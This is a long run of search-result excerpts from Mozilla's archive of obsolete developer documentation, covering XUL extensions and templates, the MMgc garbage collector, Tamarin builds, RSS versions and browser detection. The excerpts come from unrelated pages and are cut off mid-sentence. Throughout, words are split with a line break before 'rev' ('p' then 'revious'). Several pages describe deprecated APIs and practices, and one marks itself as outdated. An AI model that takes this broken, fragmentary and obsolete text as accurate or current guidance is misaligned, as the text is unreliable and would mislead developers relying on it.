...command property, which indicates the javascript code to execute when the user selects that item. the refresh now option calls the stockwatcher.refreshinformation() function, to refresh the display. the rest of the options call the stockwatcher.watchstock() function to start watching a different stock. for a more detailed tutorial on creating popup menus, see xul tutorial:popup menus. « p
reviousnext » override chrome://myaddon/content/options.xul chrome://myaddon/content/oldoptions.xul application={ec8030f7-c20a-464f-9b0e-13a3a9e97384} appversion<=6.* examples github - gist :: _ff-addon-template-bootstrapprefsskeleton - this gist here is a fully working example of a fully funcitonal preferences skeleton, it uses the observer example from above. this example also uses a te...
Localizing an extension - Archive of obsolete content
« p
reviousnext » this article expands upon the p
revious samples on extension writing by adding localization support to our stock watcher extension. performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files themselves. if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample localizing strings in xul files create the n...
...with the corresponding entity. for example, in stockwatcher2.xul, we change this line: <menuitem label="refresh now" oncommand="stockwatcher.refreshinformation()"/> to <menuitem label="&menu_refresh_now.label;" oncommand="stockwatcher.refreshinformation()"/> do this for every string used in each xul file. update the chrome manifest to let firefox know about the locale files, we need to make a
revision to our chrome.manifest file, adding one line for each localization: locale stockwatcher2 en-us chrome/locale/ this instructs firefox that the en-us localization is located in the chrome/locale/en-us directory. localizing strings in javascript code if your javascript code contains literal strings that need to be localized, as does our stock watcher sample, we need to make those localizable ...
...perties"/> </stringbundleset> this establishes a new string bundle, referenced by the id "string-bundle", whose keys and values are to be loaded from the stockwatcher2.properties file we've already created. note: you should use a unique id for each string bundle element for each file you use to avoid conflicts. (e.g. id="myextensionname-filename") update the javascript code now we're ready to
revise the javascript code to load the strings from the string bundle instead of using literal strings. this involves rewriting the refreshinformation() function to load the strings, and its enclosed inforeceived() function to use the loaded, localized, strings instead of string literals. we add to refreshinformation() the following code: var stringsbundle = document.getelementbyid("string-bundle");...
...e files should map the same tags to the spanish translations of the strings used by the extension. ...
MMgc - Archive of obsolete content
escendant of gcfinalizedobject... see below.) class myobject : public mmgc::gcobject { ~myobject() { assert(!"this will never be hit (unless we also descend from gcfinalizedobject)"); } }; gcobject::getweakref gcweakref *getweakref() const; the getweakref method returns a weak reference to the object. normally, a pointer to the object is considered a hard reference -- any such reference will p
revent the object from being destroyed. sometimes, it is desirable to hold a pointer to a gcobject, but to let the object be destroyed if there are no other references. gcweakref can be used for this purpose. it has a get method which returns the pointer to the original object, or null if that object has already been destroyed. gcfinalizedobject base class: gcobject a garbage collected object with fi...
...gc suffices. it is possible that a future version of mmgc might do exact marking. this would be needed for a generational collector. deferred reference counting (drc) mmgc uses deferred reference counting (drc). drc is a scheme for getting more immediate reclamation of objects, while still achieving high performance and getting the other benefits of garbage collection. classic reference counting p
revious versions of the flash player, up to flash player 7, used reference counting to track object lifetimes. class object { public: object() { refcount = 0; } void addref() { refcount++; } void release() { if (!--refcount) delete this; } int refcount; } reference counting is a kind of automatic memory management. reference counting can track relationships between objects, and as long...
...another point to consider is whether marking should always be on or should be turned on and off at some point based on memory allocation patterns. i think we want the later because: all wb's take the fast path when we're not marking, so the more time we spend out of the marking phase the bett...
... from it as needed. by doing this, we're more likely to get contiguous regions in memory for our heap. gcheap serves up 4k blocks to the size class allocators or groups of contiguous 4k blocks for requests from the large allocator. it maintains a free list and blocks are coalesced with their neighbors when freed. if we use up the 16mb reserved chunk, we reserve another one, contiguously with the p
revious if possible. when memory mapping is not available gcheap can fall back on a malloc/free approach for obtaining memory if a memory mapping api like virtualalloc or mmap is not available. in this case, gcheap will allocate exactly as much memory as is requested when the heap is expanded and not try to reserve additional memory pages to expand into. gcheap won't attempt to allocate contiguous re...
Mozilla Application Framework in Detail - Archive of obsolete content
core element to the framework, allows you to define dynamic elements in your ui (elements that may change after you have completed the application, such as a "history" menu item). xslt could be used to translate information from web services, rss, soap, or other xml-based languages and convert them into a form that you might display in your user interface. the gecko rendering engine gecko is the
revolutionary rendering engine that offers advanced features for internet browsing anywhere across applications, computing platforms and devices. this innovation in browser technology offers small size, speed and industry leading standards support. gecko is the premier cross-platform, full-featured, mature and well-tested layout engine available, providing robust and high quality support for a massiv...
... gecko browser engine offers several key benefits including: size: gecko has been designed to be lean and modular, bringing full-functionality browsing to a variety of new consumer devices. because it is small, gecko can be embedded on devices with limited footprints and it minimizes download size for desktop browsers. speed: gecko has been designed for speed and is several times faster than p
revious versions of internet browsing software. standards support: gecko is the first browser technology to fully implement the latest w3c standards and enables developers to build rich, dynamic web pages and web-based applications that look and run as intended across a variety of platforms and devices. this saves developers time and money while allowing them to deliver state-of-the-art content and ...
...ko features include support for asynchronous i/o, a generic disk and memory cache service, asynchronous caching dns resolution, web proxies, and https. the following architectural diagram depicts necko and its interaction with subsystems: necko is powerful, stable and robust, with current development focused on performance and standards-compliance. it has gone through extensive field testing and
revision to maximize web site compatibility. xpcom, the cross platform component object model the cross platform component object model (xpcom) is one of the main things that makes the mozilla application environment an actual framework. it is a development environment that provides the following features for the cross-platform software developer: component management file abstraction object mes...
... original document information author(s): myk melez, ian oeschger original document: http://www.mozill...
New Security Model for Web Services - Archive of obsolete content
securing resources from untrusted scripts behind firewalls introduction this page describes an alternative mechanism which can be used to protect all internal resources against requests from sandboxed scripts. this should especially be implemented for soap calls by untrusted scripts. when an attempt is made to access a resource at a p
reviously-unknown uri, the sandbox reads a file at that domain with declarations to determine whether access is permitted to the script. if the file is not there, access is denied. the problem external untrusted scripts loaded behind a firewall are executed in a sandbox. these scripts may legitimately require access to external resources, but permitting them to access internal resources permits the compromise of these resources that would normally not be ava...
... a sandbox. these scripts may legitimately require access to external resources, but permitting them to access internal resources permits the compromise of these resources that would normally not be available to applications outside of the firewall. the sandbox must distinguish and protect internal resources. client-controlled solutions several client-controlled solutions have been designed to p
revent sandboxed applications loaded behind a firewall from compromising other resources protected behind the firewall. same source restriction by restricting sandboxed scripts to access only resources in the domain from which they were loaded, any script loaded from one domain into another is p
revented from accessing resources in the domain into which it has been loaded. this policy has generally ...
...n into which it has been loaded. this policy has generally been successful in sandboxing javascript and java applets across the web. if the sandbox is unable to distinguish the common uri substring of the domain to be trusted from similar uris of untrusted domains, then it could allow a script loaded from an indistinguishable domain to exploit firewall-protected resources. also, this technique p
revents the script from accessing many legitimate external resources not provided in the same domain as the script. this p
revents a script from accessing web services and data published from any domain besides its own. white-listing by creating a white list of trusted uris from which scripts are trusted to not compromise internal resources, it is possible to release domains from the stricter same-s...
...tion soap messages have a distinct processing model allowing a header to be added that the recipient is required to understand and accept, which identifies the untrusted source of a script making a request. soap services which have not been cleared for access by untrusted scripts will reject the requests. this is offered in the mozilla implementation of soap today. unfortunately, this does not p
revent soap messages from being sent to non-soap addresses, which is a big enough problem that the verification cannot stand alone to guarantee that untrusted service requests are always properly rejected by services that should be firewall-protected. it may also be inconvenient to modify a soap service to ignore the specific verification header. using a declarations file a more robust solution is...
Tamarin build documentation - Archive of obsolete content
hell 1.0 build cyclone ... the avmplus executable is avmshell. optional flags: --enable-debugger - debugger build --enable-debug - debug build for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac please see p
revious cross-platform instructions here: https://developer.mozilla.org/index.php?title=en/tamarin/tamarin_build_documentation&
revision=21 the bug when building on snow leopard (bug 537817) has been fixed in the tamarin-redux repo. the work for that fix also included some changes to the configure.py default behavior to decouple the --target switch from sdk choice: there is a new switch, --mac-sd...
...guration your build will be under \tamarin-redux\platform\win32\obj_9\shell\debug_debugger by default. building the x64 release_debugger configuration will create avm.exe under \tamarin-redux\platform\win32\x64\release_debugger. note the "\obj9" directory under \platform\win32 for the win32 builds and "\x64" directory under \platform\win32 for 64-bit builds; this looks a little odd but preserves p
revious behavior as much as possible to avoid initial disruption from the shell rename fix. you must install vs2008 with x64 support to build the 64-bit configurations. if you installed the windows mobile 6 sdk, you can build for windows mobile (arm) targets. apple xcode the project files are designed for xcode 3.0. see "platform/mac/avmplus/avmplus.xcodeproj/". xcode 2.2, 2.3, and 2.4 will not...
...es this to find asc.jar $ python builtin.py building builtin.abc, builtin.cpp, builtin.h builtin: 26795 files: 6 time: 1709ms you can now use asc.jar to compile applications. $ cd tamarin-central $ echo 'print("hello, world")' > hello.as $ java -jar ./utils/asc.jar -import ./core/builtin.abc hello.as hello.abc, 86 bytes written use the avmplus standalone executable (avmshell) built p
reviously to run the application: $ avmshell hello.abc hello, world use the -help options of asc.jar and avmshell for more details. running tamarin tests see running tamarin acceptance tests and running tamarin performance tests building tamarin windows mobile utilities the tamarin windows mobile utilities allows the existing acceptance and performance testsuites to be run on a windows mobil...
... the form at http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm user email: your email address. an email with the build status will be sent to this address when a builder completes whether it is passes or fails. mercurial repository: give the location of the repository that will be used for the build. note: only repositories hosted on http://hg.mozilla.org/ are accepted.
revision: specify the
revision number that will be built. currently this only accepts the change number and not the hash. branch: which branch of tamarin the repository is based on, tamarin-central or tamarin-tracing. description: self explanatory check the status of the build @ http://tamarin-builds.mozilla.org/tamarin-redux/ , you can also see your build request in the queue at http://t...
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands. ...
... « xul reference home onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands. ...
... « xul reference home onfindagaincommand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands. ...
...mmand( findp
revious ) return type: no return value call this method to handle your application's "find next" and "find p
revious" commands. ...
Additional Navigation - Archive of obsolete content
however, a string value may be used instead. since the subject of an rdf arc is always a resource, the subject may be a resource uri. the object attribute may be a resource uri or a literal value. using a literal as the object of a triple is a common way to filter out specific items. for instance, if items were identified with a type, the data could be filtered to include only items of a particular type. ...
...iables can be filled in so the builder doesn't know what to generate. the builder won't generate any output in this situation. the member tag must have variables for both the container and child attributes. it wouldn't be very common to filter for a specific child anyway. source navigation triples may also be used to navigate up the graph as well as downwards, following the graph arrows in the
reverse direction. for instance, in the original example, we could start at node d and navigate upwards to a and c. the syntax for the triple is the same except that the known variable should be placed in the triple's object attribute and the unknown variable should be placed in the triple's subject variable. <query> <content uri="?start"/> <triple subject="?relateditem" predicate="htt...
...we can then display these results using the following action body. <vbox uri="?photo" class="box-padded"> <image src="?photo"/> <label value="?title"/> <label value="country: ?countrytitle"/> </vbox> a label for the country will be displayed as well. naturally, it will have the same value for every photo. some paddin...
... way. ...
Containment Properties - Archive of obsolete content
however, the simple query syntax may also iterate over a single predicate pointing out of a resource, rather than use the children. this allows you to iterate over a non-container. to do this, use the containment attribute on the root node, set to the predicate to iterate over. let's look back at the very first example again. it doesn't have any containers, but we may want to iterate over the relateditem predicate using the simple query syntax. we can add the containment attribute to do this. ...
...ta, the builder will use it in addition to checking if it is a container. note the distinction here. the containment attribute doesn't replace the existing container checking. if the resource 'http://www.xulplanet.com/rdf/a' was also an rdf seq with some children, then those children would also be added to the results. this next example demonstrates this. the only difference between this and the p
revious example is a a couple of additional lines added to the rdf/xml: <rdf:seq rdf:about="http://www.xulplanet.com/rdf/a"> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/e"/> <rdf:li rdf:resource="http://www.xulplanet.com/rdf/f"/> </rdf:seq> the effect is that there are five results instead of three. three generated via the use of the containment attribute, and two generated because the st...
...u can specify multiple predicates in the containment attribute by separating them with spaces. each will be applied in sequence. the containment attribute also applies to member tests when using the extended template syntax. that is, in addition to iterating over the children, it will iterate over the predicates listed in the containment attribute. for example, the following is equivalent to the p
revious example, except that the full query syntax is used. <vbox datasources="template-guide-ex3.rdf" ref="http://www.xulplanet.com/rdf/a" containment="http://www.xulplanet.com/rdf/relateditem"> <template> <query> <content uri="?start"/> <member container="?start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> ...
...rdf/relateditem"> <template> <query> <content uri="?start"/> <member container="?start" child="?child"/> </query> <action> <label uri="?child" value="?child"/> </action> </template> </vbox> try this example. what happens is that the builder generates additional possible values for the ?child variable, so it creates an additional result for each one. « p
reviousnext » ...
Multiple Queries - Archive of obsolete content
however, it is possible to use multiple queries. this may be used to combine the results from several queries together, or may be used to generate different types of results when recursive iterations. to use multiple queries, place each query element along with its rules inside a queryset element. the queryset element is a bit of a misnomer, it actually only contains one query each. the following is the basic structure of a template with multiple queries: <listbox datasources="..." ref="..."> <queryset> <query> ... </query> <rule> ... </rule> </queryset> <queryset> <query> ... </query> <rule> ... ...
...otices that the photos are in an rdf seq in the datasource and arranges them in the order they appear in the seq. this and other automated sorting done by the template builder is a fairly complicated process that will be discussed in more detail later. multiple queries using the rdf simple syntax you can also use multiple queries with rdf datasources using the simple query syntax. ...
...you can also mix simple and extended queries in one template, although you may prefer to use the same style in all queries for consistency. however, if you are going to be using a number of queries, the template builder is more efficient when using multiple queries using the simple query syntax. this is because all simple queries will iterate over the same data, usually the children ...
...m/rdf/myphotos" xmlns:dc="http://purl.org/dc/elements/1.1/"> <template dc:title="canal"> <button uri="rdf:*" image="rdf:*" label="view" orient="vertical"/> </template> </hbox> this example shows only a single photo since a condition is used to filter out the other two photos. note that in this shorthand, the query conditions are placed directly on the <template> element. « p
reviousnext » ...
Simple Example - Archive of obsolete content
in this situation, an rdf container will be used to hold the list of images. ...
...f:about="http://www.xulplanet.com/ndeakin/images/t/obelisk.jpg" dc:title="obelisk"/> </rdf:rdf> in this example, we have three images, which can be identified by urls. the resource uris correspond to their actual urls although this isn't necessary. each image also has one property, the image's title. a template which displays this information is very simple to create. unlike p
revious examples where we iterated over a property to navigate the graph, here we want to iterate over the children of an rdf container. the container, an rdf seq, has the uri 'http://www.xulplanet.com/rdf/myphotos'. this will be the starting point of the navigation. we want the endpoints to be the three images. first, we set the datasources and ref attributes as needed: <vbox datasources="template-...
...ide-ex2.rdf" ref="http://www.xulplanet.com/rdf/myphotos"> this time, we need to use a new statement, the member condition as well as a triple. <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> the seed is set in a similar manner as the p
revious examples, effectively creating a single result with the ?start variable set to the reference resource 'http://www.xulplanet.com/rdf/myphotos'. the same starting variable is used in this example, but you can of course use any variable you wish. (?start = http://www.xulplanet.com/rdf/myphotos) the member element is used to iterate over the children of a container (or the
reverse). first, any ...
...e image using its url and title in a label. ...
textbox (Toolkit autocomplete) - Archive of obsolete content
accesskey, autocompletepopup, autocompletesearch, autocompletesearchparam, completedefaultindex, completeselectedindex,crop, disableautocomplete, disabled, disablekeynavigation, enablehistory, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputtooltiptext, label, maxlength, maxrows, minresultsforpopup, nomatch, onchange, oninput, onsearchcomplete, ontextentered, ontext
reverted, open, readonly,showcommentcolumn, showimagecolumn, size, tabindex, tabscrolling, timeout, type, value properties accessibletype, completedefaultindex, controller, crop, disableautocomplete, disablekeynavigation, disabled, editable, focused, forcecomplete, highlightnonmatches, ignoreblurwhilesearching, inputfield, label, maxlength, maxrows, minresultsforpopup, open, popup, popupope...
...this should be one of the characters that appears in the label attribute for the element. autocompletepopup type: id the id of a popup element used to...
...complete search is finished and results are available. note: for firefox 12 and above, this event handler must be set as an initial attribute. ontextentered new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when a result is selected for the textbox. note: for firefox 12 and above, this event handler must be set as an initial attribute. ontext
reverted new in thunderbird 3requires seamonkey 2.0 type: script code this event handler is called when the user presses escape to
revert the textbox to its original uncompleted value. note: for firefox 12 and above, this event handler must be set as an initial attribute. open type: boolean for the menu type buttons, the open attribute is set to true when the menu is open. the open attribu...
...ring returns the search component with the given index. the components are set with the autocompletesearch attribute. onsearchcomplete() return type: no return value calls the onsearchcomplete event handler. you should not call this method yourself. ontextentered() return type: event result calls the ontextentered event handler. you should not call this method yourself. ontext
reverted() return type: event result calls the ontext
reverted event handler. you should not call this method yourself. select() return type: no return value selects all the text in the textbox. setselectionrange( start, end ) return type: no return value sets the selected portion of the textbox, where the start argument is the index of the first chara...
Element Positioning - Archive of obsolete content
the size of an element is determined by two factors, the size that the element wants to be and the size you specify. the size that an element wants to be is determined by what is in the element. ...
...itioning so far, we know how to position elements either horizontally or vertically inside a box. we will often need more control over the position and size of elements within the box. for this, we first need to look at how a box works. the position of an element is determined by the layout style of its container. for example, the position of a button in a horizontal box is to the right of the p
revious button, if any. the size of an element is determined by two factors, the size that the element wants to be and the size you specify. the size that an element wants to be is determined by what is in the element. for example, a button's width is determined by the amount of text inside the button. an element will generally be as large as it needs to be to hold its contents, and no larger. some ...
...attribute is applied to the box containing the elements to be packed, not to the elements themselves. we can change the earlier example to center the elements as follows: example 4: source view <box flex="1" pack="center"> <button label="happy"/> <button label="sad"/> </box> now, when the window is resized, the buttons center themselves horizontally. compare this behavior to that of the p
revious example. box alignment if you resize the window in the happy-sad example above horizontally, the box will grow in width. if you resize the window vertically however, you will note that the buttons grow in height. this is because the flexibility is assumed by default in the other direction. you can control this behavior with the align attribute. for horizontal boxes, it controls the positio...
...t use the label attribute for labels. ...
Manipulating Lists - Archive of obsolete content
list manipulation the listbox element provides numerous methods to retrieve and manipulate its items. although listboxes may be manipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible. these functions are bit simpler and will do the right thing. the appenditem() function is used to append a new item to the end a list. similar to the dom appendchild() function except that it takes a string label, and you do not have to worry about where to add it in the list structure. ...
...d a removeitemat() function which inserts a new item and removes an existing item respectively. the syntax is as follows: list.insertitemat(3, "thursday", "thu"); list.removeitemat(3); the insertitemat() function takes an additional argument, the position to insert the new item. the new item is inserted at this index, so, in the example, the new item will be added at position 3 while the item p
reviously at that position will now be at position 4. remember that the first item is 0. the removeitemat() function will remove the item at a specific index. these three methods are also available for several other xul elements and work in the same manner. in fact, these methods are part of the nsidomxulselectcontrolelement interface so any xul elements which implement this interface have these met...
...e first get the selecteditem at index 0. the first selected item is always retrieved as the size of the array will decrease as the items are removed. next, we remove the item using the removeitemat() function. since this function requires an index we can convert between an item and an index using the getindexofitem() function. there is also a corresponding getitematindex() function to do the
reverse. the nsidomxulmultiselectcontrolelement interface also provides methods for modifying the selected items. for instance, the additemtoselection() function adds a new item to the set of selected items, without clearing the existing selection. the removeitemfromselection() function removes a single item from the selection. list scrolling if there are more rows in the listbox than can be disp...
...svisible(4);"/> <listbox id="thelist" rows="5"> <listitem label="1"/> <listitem label="2"/> <listitem label="3"/> <listitem label="4"/> <listitem label="5"/> <listitem label="6"/> <listitem label="7"/> <listitem label="8"/> <listitem label="9"/> <listitem label="10"/> <listitem label="11"/> <listitem label="12"/> </listbox> next, we'll look at xul box objects. « p
reviousnext » ...
More Button Features - Archive of obsolete content
adding an image you can add an image to a button by specifying a url in the image attribute. the image is loaded from the url, which can be a relative or absolute url, and then the image is displayed on the button. the button below will have both a label and the image 'happy.png'. the image will appear to the left of the label. you can change this position by using two other attributes. this will be explained in a moment. example 1 : source view <button label="help" image="happy.png"/> button with css image another way to specify the image is by using the css list-style-image style property on the button. ...
...n general, it can be used on all xul elements. note that you really should put the style declarations in a separate style sheet. positioning the images by default, the image on a button will appear to the left of the text label. there are two attributes that can be used to control this position. the dir attribute controls the direction of the image and text. by setting this attribute to the value
reverse, the image will be placed on the right side of the text. by using the value normal, or leaving the attribute out entirely, the image will be placed on the left side of the text. the orient attribute can be used to place the image above or below the text. the default value is horizontal which is used to place the image on the left or right. you can also use the value vertical to place the imag...
...of the text. the orient attribute can be used to place the image above or below the text. the default value is horizontal which is used to place the image on the left or right. you can also use the value vertical to place the image above or below. in this case, the dir attribute controls the placement above or below. the same values are used, where normal means place the image above the text, and
reverse means place the image below the text. example 3 : source view <button label="left" image="happy.png"/> <button label="right" image="happy.png" dir="
reverse"/> <button label="above" image="happy.png" orient="vertical"/> <button label="below" image="happy.png" orient="vertical" dir="
reverse"/> the example here shows all four types of alignment of buttons. note that the two attributes are ...
...the image to the right shows the difference. ...
Trees and Templates - Archive of obsolete content
« p
reviousnext » the following describes how to use a template with a tree. adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data. using a template with a tree uses very much the same syntax as with other elements. you need to add a datasources and a ref attribute to the tree element, which specify the datasource and root node to display. multiple rules can be used to indicate different content for different types of data. ...
... with other elements. you need to add a datasources and a ref attribute to the tree element, which specify the datasource and root node to display. multiple rules can be used to indicate different content for different types of data. the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the p
revious section, the tree may use a tree builder for template generation instead of the normal content builder. this means that elements will not be created for every row in the tree, making it more efficient. the flags attribute set to the value dont-build-content, as used in the example above, indicates that the tree builder should be used. if you leave the attribute out, the content builder will b...
...y based on the available rdf data. an interesting part of rdf datasources is that the resource values are only determined when the data is needed. this means that values that are deeper in the resource hierarchy are not determined until the user navigates to that node in the tree. this becomes useful for certain datasources where the data is determined dynamically. sorting columns if you try the p
revious example, you might note that the list of files is not sorted. trees which generate their data from a datasource have the optional ability to sort their data. you can sort either ascending or descending on any column. the user may change the sort column and direction by clicking the column headers. this sorting feature is not available for trees with static content, although you can write a sc...
... an empty one as well. ...
tooltip - Archive of obsolete content
<vbox> <button label="simple" tooltiptext="a simple popup"/> <button label="more" tooltip="moretip"/> </vbox> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
...nu2 item 2"/> </menupopup> </menu> <menupopup/> onpopuphiding type: script code this event is sent to a popup when it is about to be hidden. onpopupshowing type: script code this event is sent to a popup just before it is opened. this handler is usually used to dynamically set the contents when the user requests to display it. returning false from this event handler p
revents the popup from appearing. onpopupshown type: script code this event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened. page type: boolean setting the page attribute to true will result in the tooltip being filled automatically as appropriate for a browser content area tooltip, i.e. the tooltip text is set acco...
...e: no return value closes the popup immediately. moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates). if both x and y have the value -1 the call will realign the popup with its anchor node. openpopup( anchor , position , x , y , iscontextmenu, attributesoverride, trigge
revent ) return type: no return value opens the popup relative to a specified node at a specific location. anchor the popup may be either anchored to another node or opened freely. to anchor a popup to a node, supply an anchor node and set the position to a string indicating the manner in which the popup should be anchored. the anchor node does not need to be in the same docum...
...it affects menu item highlighting; that is, while a context menu is open, menus opened earlier do not highlight or execute their items. attributesoverride if the attributesoverride argument is true, the position attribute on the popup node overrides the position value argument. if attributesoverride is false, the attribute is only used if the position argument is empty. trigge
revent the event that triggered the popup (such as a mouse click, if the user clicked something to open the popup). openpopupatscreen( x, y, iscontextmenu ) return type: no return value open the popup at a specific screen position specified by x and y. this position may be adjusted if it would cause the popup to be off of the screen. the x and y coordinates are measured ...
Version - Archive of obsolete content
rss. some rss formats are xml-based formats. and some rss formats are rdf-based formats. the list below is of all known rss versions. they are listed in chronological order of when they were released. note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place chronologically. note: there are 3 different versions of rss 0.91. ...
...sed formats. and some rss formats are rdf-based formats. the list below is of all known rss versions. they are listed in chronological order of when they were released. note: in the list below, although rss 1.0 seems to be out of place, it is actually in the correct place chronologically. note: there are 3 different versions of rss 0.91. netscape's rss 0.91 (
revision 1), netscape's rss 0.91
revision 3 and userland's rss 0.91. ...
...ersions of rss 0.91. netscape's rss 0.91 (
revision 1), netscape's rss 0.91
revision 3 and userland's rss 0.91. note: rss 0.93 and rss 0.94 were only ever released as "drafts" and never became "final" and thus were not meant to actually be used. ...
...0.91
revision 3 and userland's rss 0.91. note: rss 0.93 and rss 0.94 were only ever released as "drafts" and never became "final" and thus were not meant to actually be used. ...
Create Your Own Firefox Background Theme - Archive of obsolete content
the tab strip. it will be anchored to the top-right corner of the browser window. view a sample theme header here. image requirements dimensions should be 3000px wide × 200px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may
reveal more of the lower portion of the image if another toolbar or other ui element is added to the top of the window. the upper right-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser
reveals more of the left-hand side of the image. online image editor resources pixlr — pixlr offers professional and easy-to-u...
...hored to the bottom-left corner of the browser window. footer images are optional. view a sample theme footer here. image requirements dimensions should be 3000px wide × 100px high png or jpg file format image must be no larger than 300 kb in file size tips subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser ui. firefox may
reveal more of the upper portion of the image if the find bar is open or if an extension adds more height to the bottom of the window. the left-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser
reveals more of the right-hand side of the image. submitting your theme images to get started submitting your images, go t...
...ght-hand side of the image. submitting your theme images to get started submitting your images, go to the theme submission page: name your theme — pick a unique name for your theme. duplicate names are not allowed, so you may need to try a few times to find a unique name. pick a category and tags — select a category and enter some tags that best describe your theme. keep in mind that a
reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme. describe your theme — write a short description of your theme. keep in mind that a
reviewer may reject your theme if your description is not an accurate representation of your theme. select a license for your theme — decide on a copyright license for your work. read more about the types o...
...ht license for your work. read more about the types of creative common licenses. important: please be sure you have the rights to use the image in your theme! upload your images — make sure they are under 300 kb in size and jpg or png format! select text and tab colors — you can choose the tab ("background") color and foreground text color that work best with your header image. p
review your theme — you're ready to p
review your theme! simply mouse over the image above the submit theme button, and see how it looks instantly. submit your theme — if everything looks right, click the submit theme button, and you're done! you can see all the themes you've authored on your profile page. tip: to ensure that your theme is approved for the gallery, be sure it complies with ...
Using workers in extensions - Archive of obsolete content
« p
revious this article shows you how to use worker threads in extensions to perform tasks in the background without blocking the user interface. if you haven't already created an extension, or would like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example. ...
...ould like to refresh your memory, take a look at the p
revious articles in this series: creating a status bar extension creating a dynamic status bar extension adding preferences to an extension localizing an extension updating an extension to support multiple mozilla applications download the sample you may download the complete example: download the example. how this differs from p
revious versions this version of the stock ticker extension moves the xmlhttprequest call that fetches updated stock information into a worker thread, which then passes that information back to the main body of the extension's code to update the display in the status bar. this demonstrates not only how to use workers in an extension, but also how to perform xmlhttprequest in a worker, and how worker...
...itialize the worker, and to change which stock is being monitored. if there is no data field, the refreshinformation() method is called to fetch the latest information about the stock and pass it back to the main thread. this provides a way for the main thread to specifically request that the worker update the stock information at once. the refreshinformation() method is fairly similar to the p
revious versions, with two notable exceptions: if the ticker symbol has not been set yet, an exception is thrown (lines 4-6). when the result is received from xmlhttprequest, instead of immediately updating the displayed information in the status bar, a message is sent to the main thread using the worker's postmessage() method. this is because only the main thread is allowed to access the user in...
...sh'. this.worker.postmessage(""); }, the onworkermessage() method this method is called when the worker posts a message back to the main thread. its job is to update the ticker information that's currently displayed in the status bar, as well as to update the tooltip that appears while the mouse cursor is hovering over the ticker. this code is essentially identical to what's done in the p
revious version, except that it's done in response to an event instead of within the refreshinformation() method. a note about chromeworkers requires gecko 2.0(firefox 4 / thunderbird 3.3 / seamonkey 2.1) gecko 2.0 added the new chromeworker object, which provides a special chrome-only worker that can be used by applications and extensions. this worker object has access to js-ctypes, whic...
Browser Detection and Cross Browser Support - Archive of obsolete content
and is not on par with current standards. this article is outdated, do not follow it. have a look to the more current article writing forward-compatible websites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article
reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection. quick tip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent. note that some other browsers such as safari are reporting (like gecko...
... the vendor/version. we can rewrite the earlier example which illustrated problems with using objects to determine vendor/version to use feature detection instead. if (document.body && typeof(document.body.offsetheight) == 'number') { height = document.body.offsetheight; } else if (typeof(window.innerheight) == 'number') { height = window.innerheight; } else { height = 0; } note how the p
revious example does not make assumptions about which browser is being used. instead, it only tests for the objects which it wishes to use. since the numeric values could potentially be zero, the script tests the type of the objects to make sure they are numbers instead. gecko and navigator 4 gecko is the replacement for navigator 4 rendering engine and as such retains many features from navigato...
...studying how other authors use browser detection and cross browser coding techniques is the best way to learn. example 1 - object based feature detection this example illustrates the use of feature detection. not...
...hese older browsers, users will not have a compelling reason to upgrade. by ceasing to support older browsers, you can provide a reason for users to upgrade. this will benefit not only them, but yourself as well. supporting only standards based browsers can reduce development and maintanance costs as well as increase the dynamic and compelling content which will attract visitors and increase your
revenue. the choice is yours... decide to support the standards today! see also window.navigator.useragent links gecko compatibility handbook gecko user agent string reference object cross reference - navigator browser feature detection gecko user agent strings rfc 1945 - hypertext transfer protocol -- http 1.0 rfc 2068 - hypertext transfer protocol -- http 1.1 [mozilla's quirks mode] ...
Array comprehensions - Archive of obsolete content
efox implementation. do not use it! syntax [for (x of iterable) x] [for (x of iterable) if (condition) x] [for (x of iterable) for (y of iterable) x + y] description inside array comprehensions, these two kinds of components are allowed: for...of and if the for-of iteration is always the first component. multiple for-of iterations or if statements are allowed. array comprehension was p
